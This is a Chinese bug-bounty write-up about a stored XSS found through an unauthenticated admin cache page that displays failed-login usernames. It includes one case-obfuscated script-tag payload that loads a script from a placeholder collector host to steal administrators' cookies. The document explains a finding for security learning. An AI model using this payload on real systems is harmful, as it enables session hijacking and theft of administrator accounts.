挖洞经验 诡异位置的存储XSS

一、内容介绍

登陆框处的存储XSS 高 ￥3000

二、挖掘过程

利用 未授权访问 + XSS Payload = 存储XSS

三、案例

之前在一次项目中，遇到了一个后台，此后台有账号密码，验证码等相关登陆功能，尝试弱口令等常规操作后发现没有收获，于是分析了JS。

经过分析JS后发现/index.html对应是后台地址，并且可以直接访问，访问后就如下图

可以看到只有两个功能，缓存设置和修改密码

测试修改密码功能失效，未遂

重点放在缓存设置，很幸运缓存设置没有做权限校验，可以看到当前程序请求缓存，于是乎就有了此文

于是在众多缓存中发现了我刚开始登陆的账号缓存信息，如果是错误会返回如上图ErrorXXXX_用户名的信息，最后是用户名。

于是鬼点子就来了，存储XSS！！！前台登陆处用户名使用此代码，用了一个大小写混淆的XSS

payload:

“`

admin)”><sCRiPt sRC=http://xss.xxxxxx></sCrIpT>

“`

此时模仿管理后台人员登陆，点击缓存查看后

XSS后台收到cookie。

四、技术总结

1、细心观察遇到如下图所示的网站，不要直接就放弃。

2、通过前台登陆用户名处的XSS我也是第一次遇到，推荐白帽子们要勇于尝试，发挥想象力。

最后看完文章的小伙伴觉得有收获记得点个赞+评论，感谢大家的支持让我白嫖火线。

本文迁移自知识星球“火线Zone”

文字来源于- 火线 Zone-云安全社区，安全小天地只做文章分享，如有侵权，请联系站长删除